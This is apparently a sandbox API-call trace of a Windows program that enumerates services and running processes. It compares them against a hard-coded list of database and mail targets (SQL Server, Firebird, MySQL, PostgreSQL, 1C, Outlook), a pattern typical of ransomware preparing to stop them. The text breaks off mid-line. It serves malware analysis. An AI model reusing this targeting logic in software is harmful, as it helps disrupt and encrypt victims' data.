[0059.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0059.453] lstrlenW (lpString="EventSystem") returned 11 [0059.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0059.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0059.453] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0059.453] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0059.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0059.453] lstrlenW (lpString="gpsvc") returned 5 [0059.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0059.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0059.453] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0059.453] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0059.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0059.453] lstrlenW (lpString="iphlpsvc") returned 8 [0059.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0059.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0059.453] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0059.453] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0059.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0059.453] lstrlenW (lpString="LanmanServer") returned 12 [0059.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0059.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0059.454] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0059.454] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0059.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0059.454] lstrlenW (lpString="LanmanWorkstation") returned 17 [0059.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0059.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0059.454] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0059.454] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0059.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0059.454] lstrlenW (lpString="lmhosts") returned 7 [0059.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0059.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0059.454] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0059.454] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0059.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0059.454] lstrlenW (lpString="MMCSS") returned 5 [0059.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0059.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0059.454] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0059.454] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0059.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0059.454] lstrlenW (lpString="MpsSvc") returned 6 [0059.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0059.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0059.454] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0059.454] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0059.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0059.454] lstrlenW (lpString="Netman") returned 6 [0059.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0059.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0059.454] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0059.454] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0059.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0059.455] lstrlenW (lpString="netprofm") returned 8 [0059.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0059.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0059.455] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0059.455] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0059.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0059.455] lstrlenW (lpString="NlaSvc") returned 6 [0059.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0059.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0059.455] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0059.455] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0059.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0059.455] lstrlenW (lpString="nsi") returned 3 [0059.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0059.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0059.455] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0059.455] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0059.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0059.455] lstrlenW (lpString="PcaSvc") returned 6 [0059.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0059.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0059.455] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0059.455] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0059.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0059.455] lstrlenW (lpString="PlugPlay") returned 8 [0059.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0059.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0059.455] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0059.455] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0059.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0059.455] lstrlenW (lpString="Power") returned 5 [0059.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0059.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0059.456] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0059.456] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0059.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0059.456] lstrlenW (lpString="ProfSvc") returned 7 [0059.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0059.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0059.456] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0059.456] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0059.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0059.456] lstrlenW (lpString="RpcEptMapper") returned 12 [0059.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0059.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0059.456] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0059.456] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0059.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0059.456] lstrlenW (lpString="RpcSs") returned 5 [0059.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0059.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0059.456] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0059.456] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0059.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0059.456] lstrlenW (lpString="SamSs") returned 5 [0059.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0059.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0059.456] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0059.456] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0059.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0059.456] lstrlenW (lpString="Schedule") returned 8 [0059.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0059.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0059.456] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0059.456] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0059.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0059.457] lstrlenW (lpString="SENS") returned 4 [0059.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0059.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0059.457] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0059.457] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0059.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0059.457] lstrlenW (lpString="ShellHWDetection") returned 16 [0059.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0059.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0059.457] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0059.457] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0059.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0059.457] lstrlenW (lpString="Spooler") returned 7 [0059.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0059.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0059.457] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0059.457] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0059.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0059.457] lstrlenW (lpString="swprv") returned 5 [0059.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0059.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0059.457] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0059.457] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0059.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0059.457] lstrlenW (lpString="SysMain") returned 7 [0059.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0059.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0059.457] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0059.457] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0059.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0059.457] lstrlenW (lpString="Themes") returned 6 [0059.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0059.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0059.458] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0059.458] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0059.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0059.458] lstrlenW (lpString="TrkWks") returned 6 [0059.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0059.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0059.458] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0059.458] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0059.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0059.458] lstrlenW (lpString="UxSms") returned 5 [0059.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0059.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0059.458] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0059.458] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0059.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0059.458] lstrlenW (lpString="VSS") returned 3 [0059.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0059.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0059.458] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0059.458] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0059.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0059.458] lstrlenW (lpString="WdiServiceHost") returned 14 [0059.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0059.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0059.458] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0059.458] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0059.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0059.458] lstrlenW (lpString="WdiSystemHost") returned 13 [0059.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0059.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0059.458] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0059.459] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0059.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0059.459] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0059.459] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0059.459] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0059.459] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0059.459] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0059.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0059.459] lstrlenW (lpString="Winmgmt") returned 7 [0059.459] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0059.459] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0059.459] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0059.459] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0059.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0059.459] lstrlenW (lpString="WPDBusEnum") returned 10 [0059.459] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0059.459] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0059.459] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0059.459] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0059.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0059.459] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x26e060 | out: hHeap=0x220000) returned 1 [0059.459] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x220 [0059.461] Process32FirstW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0059.462] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0059.463] lstrlenW (lpString="System") returned 6 [0059.463] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0059.463] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0059.463] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0059.463] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0059.463] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0059.463] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0059.463] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0059.463] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0059.464] lstrlenW (lpString="smss.exe") returned 8 [0059.464] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0059.464] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0059.464] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0059.464] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0059.464] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0059.464] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0059.464] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0059.464] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0059.465] lstrlenW (lpString="csrss.exe") returned 9 [0059.465] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0059.465] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0059.465] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0059.465] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0059.465] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0059.465] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0059.465] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0059.465] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0059.465] lstrlenW (lpString="wininit.exe") returned 11 [0059.466] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0059.466] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0059.466] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0059.466] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0059.466] lstrlenW (lpString="csrss.exe") returned 9 [0059.466] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0059.467] lstrlenW (lpString="winlogon.exe") returned 12 [0059.467] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0059.468] lstrlenW (lpString="services.exe") returned 12 [0059.468] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0059.468] lstrlenW (lpString="lsass.exe") returned 9 [0059.468] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0059.469] lstrlenW (lpString="lsm.exe") returned 7 [0059.469] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.470] lstrlenW (lpString="svchost.exe") returned 11 [0059.470] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.470] lstrlenW (lpString="svchost.exe") returned 11 [0059.470] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.471] lstrlenW (lpString="svchost.exe") returned 11 [0059.471] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.472] lstrlenW (lpString="svchost.exe") returned 11 [0059.472] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x33, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.472] lstrlenW (lpString="svchost.exe") returned 11 [0059.472] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0059.473] lstrlenW (lpString="audiodg.exe") returned 11 [0059.473] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.474] lstrlenW (lpString="svchost.exe") returned 11 [0059.474] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.474] lstrlenW (lpString="svchost.exe") returned 11 [0059.474] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0059.475] lstrlenW (lpString="dwm.exe") returned 7 [0059.475] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0059.476] lstrlenW (lpString="explorer.exe") returned 12 [0059.476] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0059.476] lstrlenW (lpString="spoolsv.exe") returned 11 [0059.476] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0059.477] lstrlenW (lpString="taskhost.exe") returned 12 [0059.477] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.478] lstrlenW 